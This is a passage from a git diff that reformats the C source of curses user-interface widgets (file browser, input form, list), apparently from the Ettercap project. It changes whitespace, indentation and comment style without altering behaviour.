*wo) { WDG_WO_EXT(struct wdg_file_handle, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -318,57 +317,57 @@ static void wdg_file_borders(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* - * stransform keys into menu commands + * stransform keys into menu commands */ static int wdg_file_virtualize(int key) { switch (key) { - case KEY_RETURN: - case KEY_EXIT: - return (MAX_COMMAND + 1); - case KEY_NPAGE: - return (REQ_SCR_DPAGE); - case KEY_PPAGE: - return (REQ_SCR_UPAGE); - case KEY_DOWN: - return (REQ_NEXT_ITEM); - case KEY_UP: - return (REQ_PREV_ITEM); - default: - if (key != KEY_MOUSE) - beep(); - return (key); + case KEY_RETURN: + case KEY_EXIT: + return MAX_COMMAND + 1; + case KEY_NPAGE: + return REQ_SCR_DPAGE; + case KEY_PPAGE: + return REQ_SCR_UPAGE; + case KEY_DOWN: + return REQ_NEXT_ITEM; + case KEY_UP: + return REQ_PREV_ITEM; + default: + if (key != KEY_MOUSE) + beep(); + return key; } } /* - * sends command to the menu + * sends command to the menu */ static int wdg_file_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { @@ -377,20 +376,20 @@ static int wdg_file_driver(struct wdg_object *wo, int key, struct wdg_mouse_even struct stat buf; /* variable currently not used */ - (void) mouse; - - c = menu_driver(ww->m, wdg_file_virtualize(key) ); - + (void)mouse; + + c = menu_driver(ww->m, wdg_file_virtualize(key)); + /* skip non selectable items */ - if ( !(item_opts(current_item(ww->m)) & O_SELECTABLE) ) - c = menu_driver(ww->m, wdg_file_virtualize(key) ); + if (!(item_opts(current_item(ww->m)) & O_SELECTABLE)) + c = menu_driver(ww->m, wdg_file_virtualize(key)); /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* the item is not selectable (probably selected with mouse) */ - if ( !(item_opts(current_item(ww->m)) & O_SELECTABLE) ) + if (!(item_opts(current_item(ww->m)) & O_SELECTABLE)) return WDG_E_SUCCESS; - + stat(item_name(current_item(ww->m)), &buf); /* if it is a directory, change to it */ if (S_ISDIR(buf.st_mode)) { @@ -401,46 +400,45 @@ static int wdg_file_driver(struct wdg_object *wo, int key, struct wdg_mouse_even wdg_file_callback(wo, ww->curpath, (char *)item_name(current_item(ww->m))); return WDG_E_SUCCESS; } - } wnoutrefresh(ww->mwin); - + return WDG_E_SUCCESS; } /* - * delete the internal menu for the files + * delete the internal menu for the files */ static void wdg_file_menu_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); int i = 0; - + /* nothing to free */ if (ww->nitems == 0) return; - + unpost_menu(ww->m); free_menu(ww->m); /* free all the items */ - while(ww->items[i] != NULL) + while (ww->items[i] != NULL) free_item(ww->items[i++]); for (i = 0; i < ww->nlist; i++) WDG_SAFE_FREE(ww->namelist[i]); - + /* free the array */ WDG_SAFE_FREE(ww->items); WDG_SAFE_FREE(ww->namelist); - + /* reset the counter */ ww->nitems = 0; } /* - * create the internal menu for the files + * create the internal menu for the files */ static void wdg_file_menu_create(struct wdg_object *wo) { @@ -455,12 +453,12 @@ static void wdg_file_menu_create(struct wdg_object *wo) /* the menu is already posted */ if (ww->nitems) return; - + WDG_DEBUG_MSG("wdg_file_menu_create"); - + /* get the working directory */ getcwd(ww->curpath, PATH_MAX); - + /* scan the directory */ ww->nlist = scandir(".", &ww->namelist, 0, alphasort); @@ -475,10 +473,10 @@ static void wdg_file_menu_create(struct wdg_object *wo) /* for each directory in the directory */ for (i = 0; i < ww->nlist; i++) { - - /* + + /* * transform the current dir into the root. - * useful to exit from a path whose parent is not readable + * useful to exit from a path whose parent is not readable */ if (!strcmp(ww->namelist[i]->d_name, ".")) { strncpy(ww->namelist[i]->d_name, "/", 1); @@ -487,25 +485,25 @@ static void wdg_file_menu_create(struct wdg_object *wo) ww->items[ww->nitems - 1] = new_item(ww->namelist[i]->d_name, "root"); continue; } - + /* get the file properties */ stat(ww->namelist[i]->d_name, &buf); - + if (S_ISDIR(buf.st_mode)) { ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); ww->items[ww->nitems - 1] = new_item(ww->namelist[i]->d_name, "[...]"); } // if not readable - //item_opts_off(ww->items[ww->nitems - 1], O_SELECTABLE); + // item_opts_off(ww->items[ww->nitems - 1], O_SELECTABLE); } - + /* and now add the files */ for (i = 0; i < ww->nlist; i++) { - + /* get the file properties */ stat(ww->namelist[i]->d_name, &buf); - + if (!S_ISDIR(buf.st_mode)) { ww->nitems++; WDG_SAFE_REALLOC(ww->items, ww->nitems * sizeof(ITEM *)); @@ -517,7 +515,7 @@ static void wdg_file_menu_create(struct wdg_object *wo) /* null terminate the array */ WDG_SAFE_REALLOC(ww->items, (ww->nitems + 1) * sizeof(ITEM *)); ww->items[ww->nitems] = NULL; - + /* create the menu */ ww->m = new_menu(ww->items); @@ -528,7 +526,7 @@ static void wdg_file_menu_create(struct wdg_object *wo) /* get the geometry to make a window */ scale_menu(ww->m, &mrows, &mcols); - /* + /* * if the menu is larger than the main window * adapt to the new dimensions */ @@ -542,10 +540,10 @@ static void wdg_file_menu_create(struct wdg_object *wo) /* set the color */ wbkgd(ww->mwin, COLOR_PAIR(wo->window_color)); keypad(ww->mwin, TRUE); - + /* associate with the menu */ set_menu_win(ww->m, ww->mwin); - + /* the subwin for the menu */ set_menu_sub(ww->m, derwin(ww->mwin, mrows + 1, mcols, 1, 1)); @@ -554,12 +552,11 @@ static void wdg_file_menu_create(struct wdg_object *wo) set_menu_grey(ww->m, COLOR_PAIR(wo->window_color)); set_menu_back(ww->m, COLOR_PAIR(wo->window_color)); set_menu_fore(ww->m, COLOR_PAIR(wo->window_color) | A_REVERSE | A_BOLD); - + /* display the menu */ post_menu(ww->m); wnoutrefresh(ww->mwin); - } /* @@ -571,18 +568,18 @@ static void wdg_file_callback(struct wdg_object *wo, const char *path, char *fil WDG_WO_EXT(struct wdg_file_handle, ww); void (*callback)(const char *, char *); char *p, *f; - + WDG_DEBUG_MSG("wdg_file_callback"); - + /* save the values before destroying the object */ callback = ww->callback; WDG_SAFE_STRDUP(p, path); WDG_SAFE_STRDUP(f, file); - + /* destroy the object */ wdg_destroy_object(&wo); wdg_redraw_all(); - + /* call the callback */ WDG_EXECUTE(callback, p, f); @@ -597,11 +594,10 @@ static void wdg_file_callback(struct wdg_object *wo, const char *path, char *fil void wdg_file_set_callback(wdg_t *wo, void (*callback)(const char *path, char *file)) { WDG_WO_EXT(struct wdg_file_handle, ww); - + ww->callback = callback; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_input.c b/src/interfaces/curses/widgets/wdg_input.c index 12a919b2e..d695d8e33 100644 --- a/src/interfaces/curses/widgets/wdg_input.c +++ b/src/interfaces/curses/widgets/wdg_input.c @@ -1,23 +1,23 @@ /* - WDG -- user input widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- user input widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -60,13 +60,13 @@ static void wdg_input_consolidate(struct wdg_object *wo); /*******************************************/ -/* +/* * called to create the menu */ void wdg_create_input(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_input"); - + /* set the callbacks */ wo->destroy = wdg_input_destroy; wo->resize = wdg_input_resize; @@ -78,14 +78,14 @@ void wdg_create_input(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_input_handle)); } -/* +/* * called to destroy the menu */ static int wdg_input_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t i = 0; - + WDG_DEBUG_MSG("wdg_input_destroy"); /* erase the window */ @@ -95,12 +95,12 @@ static int wdg_input_destroy(struct wdg_object *wo) /* destroy the internal form */ wdg_input_form_destroy(wo); - + /* dealloc the structures */ delwin(ww->win); - + /* free all the items */ - while(ww->fields[i] != NULL) + while (ww->fields[i] != NULL) free_field(ww->fields[i++]); /* free the array */ @@ -108,13 +108,13 @@ static int wdg_input_destroy(struct wdg_object *wo) /* free the buffer array */ WDG_SAFE_FREE(ww->buffers); - + WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } -/* +/* * called to resize the menu */ static int wdg_input_resize(struct wdg_object *wo) @@ -124,31 +124,31 @@ static int wdg_input_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw the menu */ static int wdg_input_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t c, l, x, y; - + WDG_DEBUG_MSG("wdg_input_redraw"); - + /* center the window on the screen */ wo->x1 = (current_screen.cols - (ww->x + 2)) / 2; wo->y1 = (current_screen.lines - (ww->y + 2)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; - + c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); - + /* deal with rouding */ if (l != ww->y + 2) l = ww->y + 2; if (c != ww->x + 2) c = ww->x + 2; - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -156,26 +156,26 @@ static int wdg_input_redraw(struct wdg_object *wo) werase(ww->win); /* destroy the internal form */ wdg_input_form_destroy(wo); - + touchwin(ww->win); wnoutrefresh(ww->win); /* set the form color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); - + /* resize the window */ mvwin(ww->win, y, x); wresize(ww->win, l, c); - + /* redraw the window */ wdg_input_borders(wo); - + /* create the internal form */ wdg_input_form_create(wo); - + touchwin(ww->win); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ @@ -185,7 +185,7 @@ static int wdg_input_redraw(struct wdg_object *wo) /* set the window color */ wbkgd(ww->win, COLOR_PAIR(wo->window_color)); redrawwin(ww->win); - + /* draw the titles */ wdg_input_borders(wo); @@ -194,13 +194,12 @@ static int wdg_input_redraw(struct wdg_object *wo) /* no scrolling for menu */ scrollok(ww->win, FALSE); - } - + /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); - + touchwin(ww->fwin); wnoutrefresh(ww->fwin); @@ -209,7 +208,7 @@ static int wdg_input_redraw(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called when the menu gets the focus */ static int wdg_input_get_focus(struct wdg_object *wo) @@ -219,25 +218,25 @@ static int wdg_input_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_input_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the menu looses the focus */ static int wdg_input_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_input_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the menu is focused */ static int wdg_input_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -245,38 +244,38 @@ static int wdg_input_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_ev WDG_WO_EXT(struct wdg_input_handle, ww); WDG_DEBUG_MSG("keypress get msg: %d", key); - + /* handle the message */ switch (key) { - - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - wdg_set_focus(wo); - /* redraw the menu */ - wdg_input_redraw(wo); - } else { - return -WDG_E_NOTHANDLED; - } - break; - - case KEY_ESC: - case CTRL('Q'): - wdg_destroy_object(&wo); - wdg_redraw_all(); - return WDG_EFINISHED; - break; - /* message not handled */ - default: - if (wo->flags & WDG_OBJ_FOCUSED) { - return wdg_input_driver(wo, key, mouse); - } else { - return -WDG_E_NOTHANDLED; - } - break; + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* redraw the menu */ + wdg_input_redraw(wo); + } else { + return -WDG_E_NOTHANDLED; + } + break; + + case KEY_ESC: + case CTRL('Q'): + wdg_destroy_object(&wo); + wdg_redraw_all(); + return WDG_EFINISHED; + break; + + /* message not handled */ + default: + if (wo->flags & WDG_OBJ_FOCUSED) { + return wdg_input_driver(wo, key, mouse); + } else { + return -WDG_E_NOTHANDLED; + } + break; } - + return WDG_E_SUCCESS; } @@ -287,7 +286,7 @@ static void wdg_input_borders(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -297,86 +296,84 @@ static void wdg_input_borders(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } - /* - * stransform keys into menu commands + * stransform keys into menu commands */ static int wdg_input_virtualize(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_input_handle, ww); int c; - + switch (key) { - case KEY_RETURN: - case KEY_EXIT: - c = MAX_FORM_COMMAND + 1; - break; - case KEY_UP: - case KEY_LEFT: - c = REQ_PREV_FIELD; - /* we are moving... unfocus the current field */ - set_field_back(current_field(ww->form), A_UNDERLINE); - break; - case KEY_DOWN: - case KEY_RIGHT: - c = REQ_NEXT_FIELD; - /* we are moving... unfocus the current field */ - set_field_back(current_field(ww->form), A_UNDERLINE); - break; - case KEY_BACKSPACE: - case '\b': - case 127: /* how many code does it have ?? argh !! */ - c = REQ_DEL_PREV; - break; - case KEY_DC: - c = REQ_DEL_CHAR; - break; - case KEY_HOME: - c = REQ_BEG_FIELD; - break; - case KEY_END: - c = REQ_END_FIELD; - break; - default: - c = key; - break; + case KEY_RETURN: + case KEY_EXIT: + c = MAX_FORM_COMMAND + 1; + break; + case KEY_UP: + case KEY_LEFT: + c = REQ_PREV_FIELD; + /* we are moving... unfocus the current field */ + set_field_back(current_field(ww->form), A_UNDERLINE); + break; + case KEY_DOWN: + case KEY_RIGHT: + c = REQ_NEXT_FIELD; + /* we are moving... unfocus the current field */ + set_field_back(current_field(ww->form), A_UNDERLINE); + break; + case KEY_BACKSPACE: + case '\b': + case 127: /* how many code does it have ?? argh !! */ + c = REQ_DEL_PREV; + break; + case KEY_DC: + c = REQ_DEL_CHAR; + break; + case KEY_HOME: + c = REQ_BEG_FIELD; + break; + case KEY_END: + c = REQ_END_FIELD; + break; + default: + c = key; + break; } - - /* + + /* * Force the field that the user is typing into to be in reverse video, * while the other fields are shown underlined. - */ - //if (c <= KEY_MAX) - // set_field_back(current_field(ww->form), A_REVERSE); - //else if (c <= MAX_FORM_COMMAND) - // set_field_back(current_field(ww->form), A_UNDERLINE); - + */ + // if (c <= KEY_MAX) + // set_field_back(current_field(ww->form), A_REVERSE); + // else if (c <= MAX_FORM_COMMAND) + // set_field_back(current_field(ww->form), A_UNDERLINE); + return c; } @@ -389,21 +386,21 @@ static int wdg_input_driver(struct wdg_object *wo, int key, struct wdg_mouse_eve int c, v; /* variable currently not used */ - (void) mouse; - + (void)mouse; + WDG_DEBUG_MSG("keypress driver: %d", key); - + /* virtualize the command */ - c = form_driver(ww->form, (v = wdg_input_virtualize(wo, key)) ); - + c = form_driver(ww->form, (v = wdg_input_virtualize(wo, key))); + set_field_back(current_field(ww->form), A_REVERSE); - + /* one item has been selected */ if (c == E_UNKNOWN_COMMAND) { /* send a command to the form in order to validate the current field */ form_driver(ww->form, REQ_NEXT_FIELD); - /* - * put the temp buffer in the real one + /* + * put the temp buffer in the real one * call the callback * and destroy the object */ @@ -412,17 +409,17 @@ static int wdg_input_driver(struct wdg_object *wo, int key, struct wdg_mouse_eve } wnoutrefresh(ww->fwin); - + return WDG_E_SUCCESS; } /* - * delete the internal form + * delete the internal form */ static void wdg_input_form_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_input_handle, ww); - + /* delete the form */ unpost_form(ww->form); free_form(ww->form); @@ -444,7 +441,7 @@ static void wdg_input_form_create(struct wdg_object *wo) /* the form is already posted */ if (ww->form) return; - + /* create the form */ ww->form = new_form(ww->fields); @@ -456,58 +453,56 @@ static void wdg_input_form_create(struct wdg_object *wo) /* set the color */ wbkgd(ww->fwin, COLOR_PAIR(wo->window_color)); keypad(ww->fwin, TRUE); - + /* associate with the form */ set_form_win(ww->form, ww->fwin); - + /* the subwin for the form */ set_form_sub(ww->form, derwin(ww->fwin, mrows + 1, mcols, 1, 1)); /* make the active field in reverse mode */ set_field_back(current_field(ww->form), A_REVERSE); - + /* display the form */ post_form(ww->form); wnoutrefresh(ww->fwin); } - /* - * set the size of the dialog + * set the size of the dialog */ void wdg_input_size(wdg_t *wo, size_t x, size_t y) { WDG_WO_EXT(struct wdg_input_handle, ww); /* add 2 for the space between the label and the field - * add 2 for the borders + * add 2 for the borders */ ww->x = x + 2 + 4; ww->y = y; - + /* center the window on the screen */ wo->x1 = (current_screen.cols - (x + 2)) / 2; wo->y1 = (current_screen.lines - (y + 2)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; - } -/* - * add a field to the form +/* + * add a field to the form */ void wdg_input_add(wdg_t *wo, size_t x, size_t y, const char *caption, char *buf, size_t len, size_t lines) { WDG_WO_EXT(struct wdg_input_handle, ww); - + ww->nfields += 2; WDG_SAFE_REALLOC(ww->fields, ww->nfields * sizeof(FIELD *)); /* remember the pointer to the real buffer (to be used in consolidate) */ - WDG_SAFE_REALLOC(ww->buffers, (ww->nfields/2 + 1) * sizeof(char *)); - ww->buffers[ww->nfields/2 - 1] = buf; - ww->buffers[ww->nfields/2] = NULL; + WDG_SAFE_REALLOC(ww->buffers, (ww->nfields / 2 + 1) * sizeof(char *)); + ww->buffers[ww->nfields / 2 - 1] = buf; + ww->buffers[ww->nfields / 2] = NULL; /* create the caption */ ww->fields[ww->nfields - 2] = new_field(1, strlen(caption), y, x, 0, 0); @@ -521,11 +516,10 @@ void wdg_input_add(wdg_t *wo, size_t x, size_t y, const char *caption, char *buf field_opts_off(ww->fields[ww->nfields - 1], O_WRAP); set_field_buffer(ww->fields[ww->nfields - 1], 0, buf); set_field_fore(ww->fields[ww->nfields - 1], COLOR_PAIR(wo->window_color)); - + /* null terminate the array */ WDG_SAFE_REALLOC(ww->fields, (ww->nfields + 1) * sizeof(FIELD *)); ww->fields[ww->nfields] = NULL; - } /* @@ -538,12 +532,12 @@ static void wdg_input_consolidate(struct wdg_object *wo) int i = 0, j; size_t buflen; void (*callback)(void); - + WDG_DEBUG_MSG("wdg_input_consolidate"); - - while(ww->fields[i] != NULL) { + + while (ww->fields[i] != NULL) { /* get the buffer */ - buf = field_buffer(ww->fields[i+1], 0); + buf = field_buffer(ww->fields[i + 1], 0); buflen = strlen(buf); /* trim out the trailing spaces */ @@ -552,10 +546,10 @@ static void wdg_input_consolidate(struct wdg_object *wo) buf[j] = 0; else break; - + /* copy the buffer in the real one */ - strcpy(ww->buffers[i/2], buf); - + strcpy(ww->buffers[i / 2], buf); + /* skip the label */ i += 2; } @@ -586,76 +580,73 @@ void wdg_input_get_input(wdg_t *wo) { int key, ret; struct wdg_mouse_event mouse; - + WDG_DEBUG_MSG("wdg_input_get_input"); - + /* dispatch keys to self */ WDG_LOOP { key = wgetch(stdscr); - + switch (key) { - /* don't switch focus... */ - case KEY_TAB: - break; - - case KEY_CTRL_L: - /* redrawing the screen is equivalent to resizing it */ - case KEY_RESIZE: - /* the screen has been resized */ - wdg_redraw_all(); - /* update the screen */ - doupdate(); - break; - - case ERR: - /* non-blocking input reached the timeout */ - /* sleep for milliseconds */ - napms(WDG_INPUT_TIMEOUT * 10); - refresh(); - doupdate(); - break; - - default: + /* don't switch focus... */ + case KEY_TAB: + break; + + case KEY_CTRL_L: + /* redrawing the screen is equivalent to resizing it */ + case KEY_RESIZE: + /* the screen has been resized */ + wdg_redraw_all(); + /* update the screen */ + doupdate(); + break; + + case ERR: + /* non-blocking input reached the timeout */ + /* sleep for milliseconds */ + napms(WDG_INPUT_TIMEOUT * 10); + refresh(); + doupdate(); + break; + + default: #ifdef NCURSES_MOUSE_VERSION - /* handle mouse events */ - if (key == KEY_MOUSE) { - MEVENT event; - - getmouse(&event); - mouse_trafo(&event.y, &event.x, TRUE); - mouse.x = event.x; - mouse.y = event.y; - mouse.event = event.bstate; - } -#else - /* we don't support mouse events */ - memset(&mouse, 0, sizeof(mouse)); + /* handle mouse events */ + if (key == KEY_MOUSE) { + MEVENT event; + + getmouse(&event); + mouse_trafo(&event.y, &event.x, TRUE); + mouse.x = event.x; + mouse.y = event.y; + mouse.event = event.bstate; + } +#else + /* we don't support mouse events */ + memset(&mouse, 0, sizeof(mouse)); #endif - /* dispatch the user input */ - ret = wdg_input_get_msg(wo, key, &mouse); - /* update the screen */ - doupdate(); - - /* - * if the object is destroyed or the input finished, - * then return to the main loop - */ - if (ret == WDG_EFINISHED) { - WDG_DEBUG_MSG("wdg_input_get_input: return to main loop"); - return; - } - - break; + /* dispatch the user input */ + ret = wdg_input_get_msg(wo, key, &mouse); + /* update the screen */ + doupdate(); + + /* + * if the object is destroyed or the input finished, + * then return to the main loop + */ + if (ret == WDG_EFINISHED) { + WDG_DEBUG_MSG("wdg_input_get_input: return to main loop"); + return; + } + + break; } } - - } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_list.c b/src/interfaces/curses/widgets/wdg_list.c index 5d2eac97b..44504af35 100644 --- a/src/interfaces/curses/widgets/wdg_list.c +++ b/src/interfaces/curses/widgets/wdg_list.c @@ -1,23 +1,23 @@ /* - WDG -- list widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- list widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -67,13 +67,13 @@ static int wdg_list_callback(struct wdg_object *wo, int key); /*******************************************/ -/* +/* * called to create the menu */ void wdg_create_list(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_list"); - + /* set the callbacks */ wo->destroy = wdg_list_destroy; wo->resize = wdg_list_resize; @@ -85,7 +85,7 @@ void wdg_create_list(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_list_handle)); } -/* +/* * called to destroy the menu */ static int wdg_list_destroy(struct wdg_object *wo) @@ -93,16 +93,16 @@ static int wdg_list_destroy(struct wdg_object *wo) WDG_WO_EXT(struct wdg_list_handle, ww); struct wdg_list_call *c; int i = 0; - + WDG_DEBUG_MSG("wdg_list_destroy"); /* erase the window */ wdg_list_menu_destroy(wo); - + wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->win); @@ -124,7 +124,7 @@ static int wdg_list_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize the menu */ static int wdg_list_resize(struct wdg_object *wo) @@ -134,7 +134,7 @@ static int wdg_list_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw the menu */ static int wdg_list_redraw(struct wdg_object *wo) @@ -144,9 +144,9 @@ static int wdg_list_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_list_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -154,19 +154,19 @@ static int wdg_list_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* delete the internal menu */ wdg_list_menu_destroy(wo); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_list_borders(wo); - + /* redraw the menu */ wdg_list_menu_create(wo); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the menu window (fixed dimensions) */ @@ -175,27 +175,26 @@ static int wdg_list_redraw(struct wdg_object *wo) /* draw the titles */ wdg_list_borders(wo); - + /* draw the menu */ wdg_list_menu_create(wo); /* no scrolling for menu */ scrollok(ww->win, FALSE); - } - + /* refresh the window */ touchwin(ww->win); wnoutrefresh(ww->win); touchwin(ww->mwin); wnoutrefresh(ww->mwin); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the menu gets the focus */ static int wdg_list_get_focus(struct wdg_object *wo) @@ -205,25 +204,25 @@ static int wdg_list_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_list_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the menu looses the focus */ static int wdg_list_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_list_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the menu is focused */ static int wdg_list_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -232,40 +231,40 @@ static int wdg_list_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_eve /* handle the message */ switch (key) { - - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - wdg_set_focus(wo); - /* pass the event to the menu */ - wdg_list_driver(wo, key, mouse); - } else - return -WDG_E_NOTHANDLED; - break; - case KEY_DOWN: - case KEY_UP: - case KEY_NPAGE: - case KEY_PPAGE: - /* move only if focused */ - if (wo->flags & WDG_OBJ_FOCUSED) { - /* pass the event to the menu */ - wdg_list_driver(wo, key, mouse); - } else - return -WDG_E_NOTHANDLED; - break; + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* pass the event to the menu */ + wdg_list_driver(wo, key, mouse); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_DOWN: + case KEY_UP: + case KEY_NPAGE: + case KEY_PPAGE: + /* move only if focused */ + if (wo->flags & WDG_OBJ_FOCUSED) { + /* pass the event to the menu */ + wdg_list_driver(wo, key, mouse); + } else + return -WDG_E_NOTHANDLED; + break; + + case KEY_RETURN: + if (item_userptr(current_item(ww->menu))) + WDG_EXECUTE(ww->select_callback, item_userptr(current_item(ww->menu))); + break; - case KEY_RETURN: - if (item_userptr(current_item(ww->menu))) - WDG_EXECUTE(ww->select_callback, item_userptr(current_item(ww->menu))); - break; - - /* message not handled */ - default: - return wdg_list_callback(wo, key); - break; + /* message not handled */ + default: + return 